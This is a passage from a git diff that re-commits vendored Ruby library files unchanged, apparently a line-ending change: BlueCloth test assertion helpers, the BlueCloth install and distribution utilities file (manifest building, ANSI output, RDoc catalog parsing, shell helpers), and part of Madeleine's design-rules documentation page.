will be prepended if not present. + def assert_ivar_equal( value, object, sym ) + sym = "@#{sym}".intern unless /^@/ =~ sym.to_s + msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % + [ sym, object.inspect, value.inspect ] + msg += "\tbut was: <%s>" % object.instance_variable_get(sym) + assert_block( msg ) { + value == object.instance_variable_get(sym) + } + end + + + ### Assert that the specified +object+ has an instance variable which + ### matches the specified +sym+. The '@' at the beginning of the +sym+ + ### will be prepended if not present. + def assert_has_ivar( sym, object ) + sym = "@#{sym}" unless /^@/ =~ sym.to_s + msg = "Object <%s> expected to have an instance variable <%s>" % + [ object.inspect, sym ] + assert_block( msg ) { + object.instance_variables.include?( sym.to_s ) + } + end + + end # class TestCase + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/utils.rb b/vendor/bluecloth-1.0.0/utils.rb index c7b4f917..f543b63a 100755 --- a/vendor/bluecloth-1.0.0/utils.rb +++ b/vendor/bluecloth-1.0.0/utils.rb @@ -1,553 +1,553 @@ -# -# Install/distribution utility functions -# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2001-2004, The FaerieMUD Consortium. -# -# This is free software. You may use, modify, and/or redistribute this -# software under the terms of the Perl Artistic License. (See -# http://language.perl.com/misc/Artistic.html) -# - - -BEGIN { - require 'find' - - begin - require 'readline' - include Readline - rescue LoadError => e - $stderr.puts "Faking readline..." - def readline( prompt ) - $stderr.print prompt.chomp - return $stdin.gets.chomp - end - end -} - -class File - Win32Exts = %w{.exe .com .bat} - - def self::which( prog, path=ENV['PATH'] ) - path.split(File::PATH_SEPARATOR).each {|dir| - # If running under Windows, look for prog + extensions - if File::ALT_SEPARATOR - ext = Win32Exts.find_all {|ext| - f = File::join(dir, prog+ext) - File::executable?(f) && !File::directory?(f) - } - ext.each {|f| - f = File::join( dir, prog + f ).gsub(%r:/:,'\\') - if block_given? then yield( f ) else return f end - } - else - f = File::join( dir, prog ) - if File::executable?( f ) && ! File::directory?( f ) - if block_given? then yield(f) else return f end - end - end - } - end - -end - - -module UtilityFunctions - - # The list of regexen that eliminate files from the MANIFEST - ANTIMANIFEST = [ - /makedist\.rb/, - /\bCVS\b/, - /~$/, - /^#/, - %r{docs/html}, - %r{docs/man}, - /\bTEMPLATE\.\w+\.tpl\b/, - /\.cvsignore/, - /\.s?o$/, - ] - AMRegexp = Regexp::union( *ANTIMANIFEST ) - - # Set some ANSI escape code constants (Shamelessly stolen from Perl's - # Term::ANSIColor by Russ Allbery and Zenin - AnsiAttributes = { - 'clear' => 0, - 'reset' => 0, - 'bold' => 1, - 'dark' => 2, - 'underline' => 4, - 'underscore' => 4, - 'blink' => 5, - 'reverse' => 7, - 'concealed' => 8, - - 'black' => 30, 'on_black' => 40, - 'red' => 31, 'on_red' => 41, - 'green' => 32, 'on_green' => 42, - 'yellow' => 33, 'on_yellow' => 43, - 'blue' => 34, 'on_blue' => 44, - 'magenta' => 35, 'on_magenta' => 45, - 'cyan' => 36, 'on_cyan' => 46, - 'white' => 37, 'on_white' => 47 - } - - ErasePreviousLine = "\033[A\033[K" - - - ############### - module_function - ############### - - # Create a string that contains the ANSI codes specified and return it - def ansiCode( *attributes ) - return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] - attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') - if attr.empty? - return '' - else - return "\e[%sm" % attr - end - end - - - # Test for the presence of the specified library, and output a - # message describing the test using nicename. If nicename - # is nil, the value in library is used to build a default. - def testForLibrary( library, nicename=nil ) - nicename ||= library - message( "Testing for the #{nicename} library..." ) - found = false - - begin - require library - rescue LoadError => err - message "no found (%s)\n" % err.message - else - message "found\n" - found = true - end - - return found - end - - - # Test for the presence of the specified library, and output a - # message describing the problem using nicename. If - # nicename is nil, the value in library is used - # to build a default. If raaUrl and/or downloadUrl are - # specified, they are also use to build a message describing how to find the - # required library. If fatal is true, a missing library - # will cause the program to abort. - def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) - nicename ||= library - unless testForLibrary( library, nicename ) - msgs = [ "You are missing the required #{nicename} library.\n" ] - msgs << "RAA: #{raaUrl}\n" if raaUrl - msgs << "Download: #{downloadUrl}\n" if downloadUrl - if fatal - abort msgs.join('') - else - errorMessage msgs.join('') - end - end - return true - end - - ### Output msg as a ANSI-colored program/section header (white on - ### blue). - def header( msg ) - msg.chomp! - $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) - $stderr.flush - end - - ### Output msg to STDERR and flush it. - def message( msg ) - $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) - $stderr.flush - end - - ### Output the specified msg as an ANSI-colored error message - ### (white on red). - def errorMessage( msg ) - message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) - end - - ### Output the specified msg as an ANSI-colored debugging message - ### (yellow on blue). - def debugMsg( msg ) - return unless $DEBUG - msg.chomp! - $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) - $stderr.flush - end - - ### Erase the previous line (if supported by your terminal) and output the - ### specified msg instead. - def replaceMessage( msg ) - print ErasePreviousLine - message( msg ) - end - - ### Output a divider made up of length hyphen characters. - def divider( length=75 ) - puts "\r" + ("-" * length ) - end - alias :writeLine :divider - - ### Output the specified msg colored in ANSI red and exit with a - ### status of 1. - def abort( msg ) - print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" - Kernel.exit!( 1 ) - end - - ### Output the specified promptString as a prompt (in green) and - ### return the user's input with leading and trailing spaces removed. - def prompt( promptString ) - promptString.chomp! - return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip - end - - ### Prompt the user with the given promptString via #prompt, - ### substituting the given default if the user doesn't input - ### anything. - def promptWithDefault( promptString, default ) - response = prompt( "%s [%s]" % [ promptString, default ] ) - if response.empty? - return default - else - return response - end - end - - ### Search for the program specified by the given progname in the - ### user's PATH, and return the full path to it, or nil if - ### no such program is in the path. - def findProgram( progname ) - ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| - file = File.join( d, progname ) - return file if File.executable?( file ) - } - return nil - end - - ### Using the CVS log for the given file attempt to guess what the - ### next release version might be. This only works if releases are tagged - ### with tags like 'RELEASE_x_y'. - def extractNextVersionFromTags( file ) - message "Attempting to extract next release version from CVS tags for #{file}...\n" - raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) - cvsPath = findProgram( 'cvs' ) or - raise RuntimeError, "Cannot find the 'cvs' program. Aborting." - - output = %x{#{cvsPath} log #{file}} - release = [ 0, 0 ] - output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| - if $1.to_i > release[0] || $2.to_i > release[1] - release = [ $1.to_i, $2.to_i ] - replaceMessage( "Found %d.%02d...\n" % release ) - end - } - - if release[1] >= 99 - release[0] += 1 - release[1] = 1 - else - release[1] += 1 - end - - return "%d.%02d" % release - end - - - ### Write a new manifest file with the given +named+, moving any current one - ### aside with an ".old" suffix if +backup+ is true. - def makeManifest( name="MANIFEST", backup=true ) - message "Making manifest file '#{name}'" - - # Move an old one aside if a backup is desired - if backup and File::exists?( name ) - File::rename( name, name + ".old" ) - end - - File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| - Find::find( "." ) do |file| - Find.prune if AMRegexp =~ file - Find.prune if %r{/\.} =~ file - Find.prune if /TEMPLATE/ =~ file - next if File::directory?( file ) - - ofh.puts file - end - } - end - - - ### Read the specified manifestFile, which is a text file - ### describing which files to package up for a distribution. The manifest - ### should consist of one or more lines, each containing one filename or - ### shell glob pattern. - def readManifest( manifestFile="MANIFEST" ) - message "Reading manifest..." - raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile - - manifest = IO::readlines( manifestFile ).collect {|line| - line.chomp - }.select {|line| - line !~ /^(\s*(#.*)?)?$/ - } - - filelist = [] - for pat in manifest - $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE - filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} - end - - message "found #{filelist.length} files.\n" - return filelist - end - - - ### Given a filelist like that returned by #readManifest, remove - ### the entries therein which match the Regexp objects in the given - ### antimanifest and return the resultant Array. - def vetManifest( filelist, antimanifest=ANITMANIFEST ) - origLength = filelist.length - message "Vetting manifest..." - - for regex in antimanifest - if $VERBOSE - message "\n\tPattern /#{regex.source}/ removed: " + - filelist.find_all {|file| regex.match(file)}.join(', ') - end - filelist.delete_if {|file| regex.match(file)} - end - - message "removed #{origLength - filelist.length} files from the list.\n" - return filelist - end - - ### Combine a call to #readManifest with one to #vetManifest. - def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) - vetManifest( readManifest(manifestFile), antimanifest ) - end - - ### Given a documentation catalogFile, extract the title, if - ### available, and return it. Otherwise generate a title from the name of - ### the CVS module. - def findRdocTitle( catalogFile="docs/CATALOG" ) - - # Try extracting it from the CATALOG file from a line that looks like: - # Title: Foo Bar Module - title = findCatalogKeyword( 'title', catalogFile ) - - # If that doesn't work for some reason, try grabbing the name of the CVS - # repository the directory belongs to. - if title.nil? && File::directory?( "CVS" ) && - File::exists?( "CVS/Repository" ) - title = File::read( "CVS/Repository" ).chomp - end - - # As a last resort, use the name of the project directory - if title.nil? - distdir = File::dirname( __FILE__ ) - distdir = File::dirname( distdir ) if /docs$/ =~ distdir - title = File::basename( distdir ) - end - - return title - end - - ### Given a documentation catalogFile, extract the name of the file - ### to use as the initally displayed page. If extraction fails, the - ### +default+ will be used if it exists. Returns +nil+ if there is no main - ### file to be found. - def findRdocMain( catalogFile="docs/CATALOG", default="README" ) - - # Try extracting it from the CATALOG file from a line that looks like: - # Main: Foo Bar Module - main = findCatalogKeyword( 'main', catalogFile ) - - # Try to make some educated guesses if that doesn't work - if main.nil? - basedir = File::dirname( __FILE__ ) - basedir = File::dirname( basedir ) if /docs$/ =~ basedir - - if File::exists?( File::join(basedir, default) ) - main = default - end - end - - return main - end - - - ### Given a documentation catalogFile, extract an upload URL for - ### RDoc. - def findRdocUpload( catalogFile="docs/CATALOG" ) - findCatalogKeyword( 'upload', catalogFile ) - end - - - ### Given a documentation catalogFile, extract a CVS web frontend - ### URL for RDoc. - def findRdocCvsURL( catalogFile="docs/CATALOG" ) - findCatalogKeyword( 'webcvs', catalogFile ) - end - - - ### Given a documentation catalogFile, try extracting the given - ### +keyword+'s value from it. Keywords are lines that look like: - ### # : - ### Returns +nil+ if the catalog file was unreadable or didn't contain the - ### specified +keyword+. - def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) - val = nil - - if File::exists? catalogFile - message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile - File::foreach( catalogFile ) {|line| - debugMsg( "Examining line #{line.inspect}..." ) - val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line - } - end - - return val - end - - - ### Given a documentation catalogFile, which is in the same format - ### as that described by #readManifest, read and expand it, and then return - ### a list of those files which appear to have RDoc documentation in - ### them. If catalogFile is nil or does not exist, the MANIFEST - ### file is used instead. - def findRdocableFiles( catalogFile="docs/CATALOG" ) - startlist = [] - if File.exists? catalogFile - message "Using CATALOG file (%s).\n" % catalogFile - startlist = getVettedManifest( catalogFile ) - else - message "Using default MANIFEST\n" - startlist = getVettedManifest() - end - - message "Looking for RDoc comments in:\n" if $VERBOSE - startlist.select {|fn| - message " #{fn}: " if $VERBOSE - found = false - File::open( fn, "r" ) {|fh| - fh.each {|line| - if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} - found = true - break - end - } - } - - message( (found ? "yes" : "no") + "\n" ) if $VERBOSE - found - } - end - - ### Open a file and filter each of its lines through the given block a - ### line at a time. The return value of the block is used as the - ### new line, or omitted if the block returns nil or - ### false. - def editInPlace( file ) # :yields: line - raise "No block specified for editing operation" unless block_given? - - tempName = "#{file}.#{$$}" - File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| - File::unlink( tempName ) - File::open( file, File::RDONLY ) {|fh| - fh.each {|line| - newline = yield( line ) or next - tempfile.print( newline ) - } - } - - tempfile.seek(0) - - File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| - newfile.print( tempfile.read ) - } - } - end - - ### Execute the specified shell command, read the results, and - ### return them. Like a %x{} that returns an Array instead of a String. - def shellCommand( *command ) - raise "Empty command" if command.empty? - - cmdpipe = IO::popen( command.join(' '), 'r' ) - return cmdpipe.readlines - end - - ### Execute a block with $VERBOSE set to +false+, restoring it to its - ### previous value before returning. - def verboseOff - raise LocalJumpError, "No block given" unless block_given? - - thrcrit = Thread.critical - oldverbose = $VERBOSE - begin - Thread.critical = true - $VERBOSE = false - yield - ensure - $VERBOSE = oldverbose - Thread.critical = false - end - end - - - ### Try the specified code block, printing the given - def try( msg, bind=nil ) - result = nil - if msg =~ /^to\s/ - message = "Trying #{msg}..." - else - message = msg - end - - begin - rval = nil - if block_given? - rval = yield - else - file, line = caller(1)[0].split(/:/,2) - rval = eval( msg, bind, file, line.to_i ) - end - - result = rval.inspect - rescue Exception => err - if err.backtrace - nicetrace = err.backtrace.delete_if {|frame| - /in `(try|eval)'/ =~ frame - }.join("\n\t") - else - nicetrace = "Exception had no backtrace" - end - - result = err.message + "\n\t" + nicetrace - ensure - puts result - end - end - - def time - start = Time::now - stimes = Process::times - rval = yield - etimes = Process::times - $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ - etimes.utime - stimes.utime, - etimes.stime - stimes.stime, - Time::now.to_f - start.to_f, - ] - - return rval - end - -end +# +# Install/distribution utility functions +# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2001-2004, The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + + +BEGIN { + require 'find' + + begin + require 'readline' + include Readline + rescue LoadError => e + $stderr.puts "Faking readline..." + def readline( prompt ) + $stderr.print prompt.chomp + return $stdin.gets.chomp + end + end +} + +class File + Win32Exts = %w{.exe .com .bat} + + def self::which( prog, path=ENV['PATH'] ) + path.split(File::PATH_SEPARATOR).each {|dir| + # If running under Windows, look for prog + extensions + if File::ALT_SEPARATOR + ext = Win32Exts.find_all {|ext| + f = File::join(dir, prog+ext) + File::executable?(f) && !File::directory?(f) + } + ext.each {|f| + f = File::join( dir, prog + f ).gsub(%r:/:,'\\') + if block_given? then yield( f ) else return f end + } + else + f = File::join( dir, prog ) + if File::executable?( f ) && ! File::directory?( f ) + if block_given? then yield(f) else return f end + end + end + } + end + +end + + +module UtilityFunctions + + # The list of regexen that eliminate files from the MANIFEST + ANTIMANIFEST = [ + /makedist\.rb/, + /\bCVS\b/, + /~$/, + /^#/, + %r{docs/html}, + %r{docs/man}, + /\bTEMPLATE\.\w+\.tpl\b/, + /\.cvsignore/, + /\.s?o$/, + ] + AMRegexp = Regexp::union( *ANTIMANIFEST ) + + # Set some ANSI escape code constants (Shamelessly stolen from Perl's + # Term::ANSIColor by Russ Allbery and Zenin + AnsiAttributes = { + 'clear' => 0, + 'reset' => 0, + 'bold' => 1, + 'dark' => 2, + 'underline' => 4, + 'underscore' => 4, + 'blink' => 5, + 'reverse' => 7, + 'concealed' => 8, + + 'black' => 30, 'on_black' => 40, + 'red' => 31, 'on_red' => 41, + 'green' => 32, 'on_green' => 42, + 'yellow' => 33, 'on_yellow' => 43, + 'blue' => 34, 'on_blue' => 44, + 'magenta' => 35, 'on_magenta' => 45, + 'cyan' => 36, 'on_cyan' => 46, + 'white' => 37, 'on_white' => 47 + } + + ErasePreviousLine = "\033[A\033[K" + + + ############### + module_function + ############### + + # Create a string that contains the ANSI codes specified and return it + def ansiCode( *attributes ) + return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] + attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') + if attr.empty? + return '' + else + return "\e[%sm" % attr + end + end + + + # Test for the presence of the specified library, and output a + # message describing the test using nicename. If nicename + # is nil, the value in library is used to build a default. + def testForLibrary( library, nicename=nil ) + nicename ||= library + message( "Testing for the #{nicename} library..." ) + found = false + + begin + require library + rescue LoadError => err + message "no found (%s)\n" % err.message + else + message "found\n" + found = true + end + + return found + end + + + # Test for the presence of the specified library, and output a + # message describing the problem using nicename. If + # nicename is nil, the value in library is used + # to build a default. If raaUrl and/or downloadUrl are + # specified, they are also use to build a message describing how to find the + # required library. If fatal is true, a missing library + # will cause the program to abort. + def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) + nicename ||= library + unless testForLibrary( library, nicename ) + msgs = [ "You are missing the required #{nicename} library.\n" ] + msgs << "RAA: #{raaUrl}\n" if raaUrl + msgs << "Download: #{downloadUrl}\n" if downloadUrl + if fatal + abort msgs.join('') + else + errorMessage msgs.join('') + end + end + return true + end + + ### Output msg as a ANSI-colored program/section header (white on + ### blue). + def header( msg ) + msg.chomp! + $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output msg to STDERR and flush it. + def message( msg ) + $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output the specified msg as an ANSI-colored error message + ### (white on red). + def errorMessage( msg ) + message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) + end + + ### Output the specified msg as an ANSI-colored debugging message + ### (yellow on blue). + def debugMsg( msg ) + return unless $DEBUG + msg.chomp! + $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) + $stderr.flush + end + + ### Erase the previous line (if supported by your terminal) and output the + ### specified msg instead. + def replaceMessage( msg ) + print ErasePreviousLine + message( msg ) + end + + ### Output a divider made up of length hyphen characters. + def divider( length=75 ) + puts "\r" + ("-" * length ) + end + alias :writeLine :divider + + ### Output the specified msg colored in ANSI red and exit with a + ### status of 1. + def abort( msg ) + print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" + Kernel.exit!( 1 ) + end + + ### Output the specified promptString as a prompt (in green) and + ### return the user's input with leading and trailing spaces removed. + def prompt( promptString ) + promptString.chomp! + return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip + end + + ### Prompt the user with the given promptString via #prompt, + ### substituting the given default if the user doesn't input + ### anything. + def promptWithDefault( promptString, default ) + response = prompt( "%s [%s]" % [ promptString, default ] ) + if response.empty? + return default + else + return response + end + end + + ### Search for the program specified by the given progname in the + ### user's PATH, and return the full path to it, or nil if + ### no such program is in the path. + def findProgram( progname ) + ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| + file = File.join( d, progname ) + return file if File.executable?( file ) + } + return nil + end + + ### Using the CVS log for the given file attempt to guess what the + ### next release version might be. This only works if releases are tagged + ### with tags like 'RELEASE_x_y'. + def extractNextVersionFromTags( file ) + message "Attempting to extract next release version from CVS tags for #{file}...\n" + raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) + cvsPath = findProgram( 'cvs' ) or + raise RuntimeError, "Cannot find the 'cvs' program. Aborting." + + output = %x{#{cvsPath} log #{file}} + release = [ 0, 0 ] + output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| + if $1.to_i > release[0] || $2.to_i > release[1] + release = [ $1.to_i, $2.to_i ] + replaceMessage( "Found %d.%02d...\n" % release ) + end + } + + if release[1] >= 99 + release[0] += 1 + release[1] = 1 + else + release[1] += 1 + end + + return "%d.%02d" % release + end + + + ### Write a new manifest file with the given +named+, moving any current one + ### aside with an ".old" suffix if +backup+ is true. + def makeManifest( name="MANIFEST", backup=true ) + message "Making manifest file '#{name}'" + + # Move an old one aside if a backup is desired + if backup and File::exists?( name ) + File::rename( name, name + ".old" ) + end + + File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| + Find::find( "." ) do |file| + Find.prune if AMRegexp =~ file + Find.prune if %r{/\.} =~ file + Find.prune if /TEMPLATE/ =~ file + next if File::directory?( file ) + + ofh.puts file + end + } + end + + + ### Read the specified manifestFile, which is a text file + ### describing which files to package up for a distribution. The manifest + ### should consist of one or more lines, each containing one filename or + ### shell glob pattern. + def readManifest( manifestFile="MANIFEST" ) + message "Reading manifest..." + raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile + + manifest = IO::readlines( manifestFile ).collect {|line| + line.chomp + }.select {|line| + line !~ /^(\s*(#.*)?)?$/ + } + + filelist = [] + for pat in manifest + $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE + filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} + end + + message "found #{filelist.length} files.\n" + return filelist + end + + + ### Given a filelist like that returned by #readManifest, remove + ### the entries therein which match the Regexp objects in the given + ### antimanifest and return the resultant Array. + def vetManifest( filelist, antimanifest=ANITMANIFEST ) + origLength = filelist.length + message "Vetting manifest..." + + for regex in antimanifest + if $VERBOSE + message "\n\tPattern /#{regex.source}/ removed: " + + filelist.find_all {|file| regex.match(file)}.join(', ') + end + filelist.delete_if {|file| regex.match(file)} + end + + message "removed #{origLength - filelist.length} files from the list.\n" + return filelist + end + + ### Combine a call to #readManifest with one to #vetManifest. + def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) + vetManifest( readManifest(manifestFile), antimanifest ) + end + + ### Given a documentation catalogFile, extract the title, if + ### available, and return it. Otherwise generate a title from the name of + ### the CVS module. + def findRdocTitle( catalogFile="docs/CATALOG" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Title: Foo Bar Module + title = findCatalogKeyword( 'title', catalogFile ) + + # If that doesn't work for some reason, try grabbing the name of the CVS + # repository the directory belongs to. + if title.nil? && File::directory?( "CVS" ) && + File::exists?( "CVS/Repository" ) + title = File::read( "CVS/Repository" ).chomp + end + + # As a last resort, use the name of the project directory + if title.nil? + distdir = File::dirname( __FILE__ ) + distdir = File::dirname( distdir ) if /docs$/ =~ distdir + title = File::basename( distdir ) + end + + return title + end + + ### Given a documentation catalogFile, extract the name of the file + ### to use as the initally displayed page. If extraction fails, the + ### +default+ will be used if it exists. Returns +nil+ if there is no main + ### file to be found. + def findRdocMain( catalogFile="docs/CATALOG", default="README" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Main: Foo Bar Module + main = findCatalogKeyword( 'main', catalogFile ) + + # Try to make some educated guesses if that doesn't work + if main.nil? + basedir = File::dirname( __FILE__ ) + basedir = File::dirname( basedir ) if /docs$/ =~ basedir + + if File::exists?( File::join(basedir, default) ) + main = default + end + end + + return main + end + + + ### Given a documentation catalogFile, extract an upload URL for + ### RDoc. + def findRdocUpload( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'upload', catalogFile ) + end + + + ### Given a documentation catalogFile, extract a CVS web frontend + ### URL for RDoc. + def findRdocCvsURL( catalogFile="docs/CATALOG" ) + findCatalogKeyword( 'webcvs', catalogFile ) + end + + + ### Given a documentation catalogFile, try extracting the given + ### +keyword+'s value from it. Keywords are lines that look like: + ### # : + ### Returns +nil+ if the catalog file was unreadable or didn't contain the + ### specified +keyword+. + def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) + val = nil + + if File::exists? catalogFile + message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile + File::foreach( catalogFile ) {|line| + debugMsg( "Examining line #{line.inspect}..." ) + val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line + } + end + + return val + end + + + ### Given a documentation catalogFile, which is in the same format + ### as that described by #readManifest, read and expand it, and then return + ### a list of those files which appear to have RDoc documentation in + ### them. If catalogFile is nil or does not exist, the MANIFEST + ### file is used instead. + def findRdocableFiles( catalogFile="docs/CATALOG" ) + startlist = [] + if File.exists? catalogFile + message "Using CATALOG file (%s).\n" % catalogFile + startlist = getVettedManifest( catalogFile ) + else + message "Using default MANIFEST\n" + startlist = getVettedManifest() + end + + message "Looking for RDoc comments in:\n" if $VERBOSE + startlist.select {|fn| + message " #{fn}: " if $VERBOSE + found = false + File::open( fn, "r" ) {|fh| + fh.each {|line| + if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} + found = true + break + end + } + } + + message( (found ? "yes" : "no") + "\n" ) if $VERBOSE + found + } + end + + ### Open a file and filter each of its lines through the given block a + ### line at a time. The return value of the block is used as the + ### new line, or omitted if the block returns nil or + ### false. + def editInPlace( file ) # :yields: line + raise "No block specified for editing operation" unless block_given? + + tempName = "#{file}.#{$$}" + File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| + File::unlink( tempName ) + File::open( file, File::RDONLY ) {|fh| + fh.each {|line| + newline = yield( line ) or next + tempfile.print( newline ) + } + } + + tempfile.seek(0) + + File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| + newfile.print( tempfile.read ) + } + } + end + + ### Execute the specified shell command, read the results, and + ### return them. Like a %x{} that returns an Array instead of a String. + def shellCommand( *command ) + raise "Empty command" if command.empty? + + cmdpipe = IO::popen( command.join(' '), 'r' ) + return cmdpipe.readlines + end + + ### Execute a block with $VERBOSE set to +false+, restoring it to its + ### previous value before returning. + def verboseOff + raise LocalJumpError, "No block given" unless block_given? + + thrcrit = Thread.critical + oldverbose = $VERBOSE + begin + Thread.critical = true + $VERBOSE = false + yield + ensure + $VERBOSE = oldverbose + Thread.critical = false + end + end + + + ### Try the specified code block, printing the given + def try( msg, bind=nil ) + result = nil + if msg =~ /^to\s/ + message = "Trying #{msg}..." + else + message = msg + end + + begin + rval = nil + if block_given? + rval = yield + else + file, line = caller(1)[0].split(/:/,2) + rval = eval( msg, bind, file, line.to_i ) + end + + result = rval.inspect + rescue Exception => err + if err.backtrace + nicetrace = err.backtrace.delete_if {|frame| + /in `(try|eval)'/ =~ frame + }.join("\n\t") + else + nicetrace = "Exception had no backtrace" + end + + result = err.message + "\n\t" + nicetrace + ensure + puts result + end + end + + def time + start = Time::now + stimes = Process::times + rval = yield + etimes = Process::times + $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ + etimes.utime - stimes.utime, + etimes.stime - stimes.stime, + Time::now.to_f - start.to_f, + ] + + return rval + end + +end diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html index 6361007f..c6db4546 100755 --- a/vendor/madeleine-0.7.1/docs/designRules.html +++ b/vendor/madeleine-0.7.1/docs/designRules.html @@ -1,87 +1,87 @@ - - - -Design rules - Madeleine - - - - - -

    Design rules

    - -

    This is a summary of the design rules your application has to -follow to work with Madeleine. - - -

    The Prevalent System

    - -

    Your objects have to fit into memory

    - -

    All of them. At the same time. - -

    Your objects have to be marshallable

    - -

    Snapshots are taken of the system by marshalling the whole system to a -file. If your classes can't be marshalled/unmarshalled then Madeleine -won't be able to store/restore the system. - -

    Your objects have to be deterministic

    - -

    Deterministic means that, given the same commands, they have -to always give the same results. - -

    For the much of your code this won't -be a problem, but there are a few common issues: - -

    The system clock

    -

    You can't use the system clock (see instead ClockedSystem and TimeActor). - -

    Random numbers

    -

    Kernel.rand() uses the system clock internally by -default. Use Kernel.srand() to seed the random number -generator before using rand(). - -

    Files, network and other IO

    -

    You generally can't access the outside world from within your -prevalent system. Instead do IO outside of the prevalent system and -call into the system when needed. - -

    Changes to the system have to be done through command -objects

    - -

    Everything that modifies the prevalent system must be done through a -command object sent to the Madeleine instance, using -execute_command(aCommand). Queries that don't modify the -system can be done either through direct method calls or through -command objects. - -

    Command Objects

    - -

    A command object is an object that implements the method -execute(system). They are an example of the "Command" -design pattern. - -

    The command objects also have to be marshallable

    - -

    Madeleine keeps track of changes between snapshots by logging -marshalled commands. - -

    The command must raise errors before modifying the system

    - -

    Unlike a RDBMS, Madeleine can't roll back a command (yet). This means -that your commands will have to do their error checking and raise any -errors before modifying the system. Failing to do this will cause an -inconsistent command log. - -

    Command objects can't hold references to the system's objects

    - -

    Unmarshalling such a command would create clones of the original -objects, which would then be modified instead of the real -objects. The commands must find the objects to modify. - -


    - -$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ - - - + + + +Design rules - Madeleine + + + + + +

    Design rules

    + +

    This is a summary of the design rules your application has to +follow to work with Madeleine. + + +

    The Prevalent System

    + +

    Your objects have to fit into memory

    + +

    All of them. At the same time. + +

    Your objects have to be marshallable

    + +

    Snapshots are taken of the system by marshalling the whole system to a +file. If your classes can't be marshalled/unmarshalled then Madeleine +won't be able to store/restore the system. + +

    Your objects have to be deterministic

    + +

    Deterministic means that, given the same commands, they have +to always give the same results. + +

    For the much of your code this won't +be a problem, but there are a few common issues: + +

    The system clock

    +

    You can't use the system clock (see instead ClockedSystem and TimeActor). + +

    Random numbers

    +

    Kernel.rand() uses the system clock internally by +default. Use Kernel.srand() to seed the random number +generator before using rand(). + +

    Files, network and other IO

    +

    You generally can't access the outside world from within your +prevalent system. Instead do IO outside of the prevalent system and +call into the system when needed. + +

    Changes to the system have to be done through command +objects

    + +

    Everything that modifies the prevalent system must be done through a +command object sent to the Madeleine instance, using +execute_command(aCommand). Queries that don't modify the +system can be done either through direct method calls or through +command objects. + +

    Command Objects

    + +

    A command object is an object that implements the method +execute(system). They are an example of the "Command" +design pattern. + +

    The command objects also have to be marshallable

    + +

    Madeleine keeps track of changes between snapshots by logging +marshalled commands. + +

